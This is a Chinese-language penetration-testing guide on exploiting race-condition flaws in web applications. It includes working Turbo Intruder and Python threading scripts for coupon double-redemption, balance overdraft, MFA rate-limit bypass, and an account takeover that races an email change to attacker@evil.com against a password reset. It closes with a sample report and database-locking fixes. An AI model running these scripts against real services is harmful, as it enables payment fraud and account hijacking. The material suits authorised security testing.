利用竞态条件漏洞(Exploiting Race Condition Vulnerabilities)
适用场景
- 测试具有基于事务功能的应用程序(支付、转账、优惠券)时
- 评估速率限制或尝试次数限制机制期间
- 测试多步骤工作流程(注册、密码重置、MFA)时
- 在针对状态更改操作中逻辑缺陷的漏洞奖励计划中
- 评估具有库存或余额管理系统的应用程序时
前置条件
- 安装了 Turbo Intruder 扩展的 Burp Suite Professional
- 了解 HTTP/2 单包攻击技术
- 用于自定义 Turbo Intruder 脚本的 Python 脚本能力
- 了解 TOCTOU(检查时间与使用时间)漏洞
- 具有状态更改操作(购买、投票、转账)的目标应用程序
- 用于测试跨用户竞态条件的多个用户账户
工作流程
步骤 1:识别竞态条件攻击面
# 常见竞态条件目标:
# - 优惠券/折扣码兑换(限制:每用户一次)
# - 账户余额转账
# - 库存购买(限量库存)
# - 速率限制操作(登录尝试、短信验证)
# - 多步骤工作流程(电子邮件更改 + 密码重置)
# - 文件上传 + 处理管道
# 在 Burp Suite 中捕获目标请求
# 发送到 Turbo Intruder(Extensions > Turbo Intruder > Send to Turbo Intruder)
步骤 2:在 Turbo Intruder 中配置单包攻击
# 用于单包竞态条件的 Turbo Intruder 脚本
# 这会在一个 TCP 包中同时发送所有请求
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
# 为同一操作排队 20 个相同请求
for i in range(20):
engine.queue(target.req, gate='race1')
# 保留所有请求直到准备好
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)
步骤 3:执行限制超限攻击
# 用于优惠券/折扣限制绕过的 Turbo Intruder 脚本
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=50,
engine=Engine.BURP2)
# 同时发送 50 个优惠券兑换请求
for i in range(50):
engine.queue(target.req, gate='coupon_race')
engine.openGate('coupon_race')
def handleResponse(req, interesting):
# 标记成功的兑换(200 OK)
if req.status == 200:
table.add(req)
步骤 4:利用多端点竞态条件
# 两个不同端点之间的竞态条件
# 示例:同时更改电子邮件 + 触发密码重置
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
# 请求 1:将电子邮件更改为 attacker@evil.com
email_change = '''POST /api/change-email HTTP/2
Host: target.com
Cookie: session=VALID_SESSION
Content-Type: application/json
{"email":"attacker@evil.com"}'''
# 请求 2:触发密码重置(发送到原始电子邮件)
password_reset = '''POST /api/reset-password HTTP/2
Host: target.com
Content-Type: application/json
{"email":"victim@target.com"}'''
engine.queue(email_change, gate='race1')
engine.queue(password_reset, gate='race1')
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)
步骤 5:使用 Python 线程替代方案测试
import threading
import requests
TARGET_URL = "http://target.com/api/redeem-coupon"
COUPON_CODE = "DISCOUNT50"
SESSION_COOKIE = "session=abc123"
def send_request():
response = requests.post(
TARGET_URL,
json={"coupon": COUPON_CODE},
headers={"Cookie": SESSION_COOKIE},
timeout=10
)
print(f"状态: {response.status_code}, 响应: {response.text[:100]}")
# 创建屏障以同步线程启动
barrier = threading.Barrier(20)
def synchronized_request():
barrier.wait() # 所有线程在此等待,然后同时启动
send_request()
threads = [threading.Thread(target=synchronized_request) for _ in range(20)]
for t in threads:
t.start()
for t in threads:
t.join()
步骤 6:分析结果并确认利用
# 在 Turbo Intruder 结果中:
# - 按状态码排序以识别成功请求
# - 比较响应长度以找到异常
# - 检查是否有多个请求成功(确认限制超限)
# - 验证后端状态(余额、库存、优惠券计数)
# 记录竞态窗口时序
# 成功的竞态条件通常需要:
# - HTTP/2 单包攻击:约 30 秒找到
# - 最后一字节同步(HTTP/1.1):约 2 小时以上找到
# - 基于线程的方法:可变,可靠性较低
核心概念
| 概念 |
定义 |
| TOCTOU |
检查时间与使用时间缺陷,状态在验证和操作之间发生变化 |
| 单包攻击(Single-Packet Attack) |
在一个 TCP 包中发送多个 HTTP/2 请求以实现精确同步 |
| 最后一字节同步(Last-Byte Sync) |
HTTP/1.1 技术,保留多个请求的最后一个字节然后同时释放 |
| 限制超限(Limit Overrun) |
通过利用验证逻辑中的竞态窗口超过一次性使用限制 |
| 隐藏状态机(Hidden State Machine) |
利用多步骤应用程序工作流程中的过渡状态 |
| Gate 机制(Gate Mechanism) |
Turbo Intruder 功能,保留请求直到全部排队,然后同时释放 |
| 连接预热(Connection Warming) |
预先建立连接以减少竞态条件攻击中的网络抖动 |
工具与系统
| 工具 |
用途 |
| Turbo Intruder |
用于高速竞态条件利用的 Burp Suite 扩展 |
| Burp Suite Repeater |
用于基本竞态条件测试的组发送功能 |
| Nuclei |
带有竞态条件检测模板的基于模板的扫描器 |
| Python threading |
自定义多线程竞态条件脚本 |
| racepwn |
专用竞态条件测试框架 |
| asyncio/aiohttp |
用于并发请求发送的 Python 异步 HTTP |
常见场景
- 优惠券双重消费 — 通过在服务器将优惠券标记为已使用之前发送并发兑换请求,多次兑换一次性优惠券
- 余额透支 — 通过发送每次都通过余额检查的同时转账请求,转移超过可用余额的资金
- MFA 绕过 — 同时提交多个 MFA 代码以绕过验证尝试的速率限制
- 库存操纵 — 通过利用库存递减逻辑中的竞态条件,购买超过可用库存的商品
- 账户注册绕过 — 通过提交并发注册请求,使用相同电子邮件创建多个账户
输出格式
## 竞态条件评估报告
- **目标**: http://target.com/api/redeem-coupon
- **技术**: 通过 Turbo Intruder 进行 HTTP/2 单包攻击
- **并发请求**: 20
- **成功利用次数**: 20 次中 4 次
### 发现
| # | 端点 | 操作 | 预期 | 实际 | 严重性 |
|---|----------|-----------|----------|--------|----------|
| 1 | POST /redeem-coupon | 单次使用优惠券 | 1 次兑换 | 4 次兑换 | 高 |
| 2 | POST /transfer | 余额转账 | 受余额限制 | 实现透支 | 严重 |
### 竞态窗口分析
- HTTP/2 单包:<30 秒内可靠利用
- 成功率:每批 20 次请求约 20%
- 估计竞态窗口:50-100 毫秒
### 修复建议
- 对关键操作实施数据库级别锁定(SELECT FOR UPDATE)
- 使用带版本号的乐观并发控制
- 对状态更改请求应用幂等键
- 为多服务器环境实施分布式锁